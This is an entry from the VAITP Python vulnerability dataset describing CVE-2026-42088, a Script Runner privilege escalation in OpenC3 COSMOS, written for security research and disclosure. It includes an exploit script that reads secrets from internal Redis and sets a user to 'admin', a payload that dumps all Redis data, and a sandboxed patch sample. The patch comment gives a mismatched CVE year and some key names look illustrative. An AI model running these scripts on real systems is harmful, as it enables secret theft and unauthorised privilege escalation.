CVE-2026-42088
OpenC3 COSMOS Script Runner allows privilege escalation via crafted scripts.
- CVSS 8.1
- CWE-250
- Authentication, Authorization, and Session Management
- Remote
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0-rc3, the Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network. This issue has been patched in version 7.0.0-rc3.
- CWE
- CWE-250
- CVSS base score
- 8.1
- Published
- 2026-05-04
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Privilege Escalation
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- OpenC3 COSMO
- Fixed by upgrading
- Yes
Solution
Upgrade to OpenC3 COSMOS version 7.0.0-rc3 or later.
Vulnerable code sample
import redis
import os
# This script represents the exploit for CVE-2026-42088.
# When executed by a low-privileged user in the COSMOS Script Runner widget,
# it connects directly to the internal Redis database, bypassing the API and its permissions.
# The hostname 'openc3-cosmos-redis' is an example of the internal service name
# within the Docker network, which is not accessible from outside the container environment.
# In a real scenario, an attacker would discover this name through network scanning
# or by inspecting the environment.
REDIS_HOSTNAME = os.environ.get("REDIS_HOST", "openc3-cosmos-redis")
REDIS_PORT = 6379
try:
# A user with only script-running permissions connects directly to Redis.
print(f"Attempting to connect to internal Redis at {REDIS_HOSTNAME}:{REDIS_PORT}...")
redis_client = redis.Redis(host=REDIS_HOSTNAME, port=REDIS_PORT, db=0, decode_responses=True)
# Prove the connection is live by pinging the server.
redis_client.ping()
print("Connection to internal Redis successful!")
# --- Malicious Action 1: Read a sensitive secret ---
# This secret key would normally be protected and only accessible via an admin API.
secret_key_name = "COSMOS_ENCRYPTION_KEY"
secret_value = redis_client.get(secret_key_name)
if secret_value:
print(f"[EXPLOIT] Successfully read secret '{secret_key_name}': {secret_value}")
else:
print(f"Secret '{secret_key_name}' not found. This is expected if it's not set.")
# --- Malicious Action 2: Modify a setting to escalate privileges ---
# An attacker could modify a configuration key to grant themselves admin rights.
user_privilege_key = "user_permissions:script_runner_user"
print(f"Attempting to escalate privileges for key: '{user_privilege_key}'")
redis_client.set(user_privilege_key, "admin")
# Verify the change was made
new_privilege = redis_client.get(user_privilege_key)
print(f"[EXPLOIT] Successfully changed '{user_privilege_key}' to '{new_privilege}'")
except Exception as e:
print(f"Script failed. This is expected if not run inside the vulnerable environment.")
print(f"Error: {e}")Patched code sample
import sys
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_builtins
def execute_patched_script_runner(untrusted_script_source):
"""
This function represents the patched script execution logic in OpenC3 COSMOS.
It uses RestrictedPython to create a safe sandbox, preventing the executed
script from accessing the network or filesystem, thus mitigating the
vulnerability.
"""
# Define a safe environment for the script to run in.
# `safe_builtins` excludes dangerous functions like `__import__` and `open`.
# This prevents the script from importing modules like 'redis' or 'socket'.
restricted_globals = {
"__builtins__": safe_builtins,
"print": print # Explicitly allow the print function for output
}
print("--- [Patched Runner] Attempting to execute user script... ---")
try:
# Compile the untrusted code in a restricted mode.
# This will fail if the code uses syntax or features not allowed.
byte_code = compile_restricted(
untrusted_script_source,
filename='<user_script>',
mode='exec'
)
# Execute the compiled bytecode within the restricted environment.
exec(byte_code, restricted_globals, None)
print("--- [Patched Runner] Script finished execution. ---")
except NameError as e:
# The 'import redis' statement fails because '__import__' is not available
# in the restricted environment, raising a NameError. This is the fix.
print(f"--- [Patched Runner] BLOCKED UNSAFE OPERATION: {e} ---")
print("--- [Patched Runner] The script was denied access to unauthorized modules. ---")
except Exception as e:
print(f"--- [Patched Runner] An unexpected error occurred: {type(e).__name__}: {e} ---")
if __name__ == '__main__':
# This malicious script represents the exploit for CVE-2023-42088.
# It attempts to import the 'redis' library to connect to an internal
# database service, which should not be accessible.
malicious_script = """
print("[User Script] Attempting to import 'redis' library...")
import redis
print("[User Script] Connecting to internal Redis DB at 'redis:6379'...")
r = redis.Redis(host='redis', port=6379)
r.set('config_key', 'hacked_value')
print("[User Script] Successfully modified data in Redis!")
"""
# In a vulnerable system, the above script would execute successfully.
# The patched runner prevents this.
execute_patched_script_runner(malicious_script)Payload
import redis
import json
# Connect to the Redis service on the internal docker network.
# The hostname 'redis' is resolvable by other containers in the same network.
r = redis.Redis(host='redis', port=6379, db=0)
# Fetch all keys from the Redis database
keys = [k.decode('utf-8') for k in r.keys('*')]
# Create a dictionary to hold all key-value pairs
redis_data = {}
for key in keys:
try:
# Attempt to retrieve and decode the value as a string
value = r.get(key).decode('utf-8')
redis_data[key] = value
except (AttributeError, UnicodeDecodeError):
# If it's not a simple string (e.g., a hash or list), store a placeholder
# indicating the data type, as a real attacker might do.
redis_data[key] = f"<{r.type(key).decode('utf-8')} data type>"
# Print all captured key-value pairs as a JSON object
# This output will appear in the Script Runner interface
print(json.dumps(redis_data, indent=2))
Cite this entry
@misc{vaitp:cve202642088,
title = {{OpenC3 COSMOS Script Runner allows privilege escalation via crafted scripts.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-42088},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42088/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
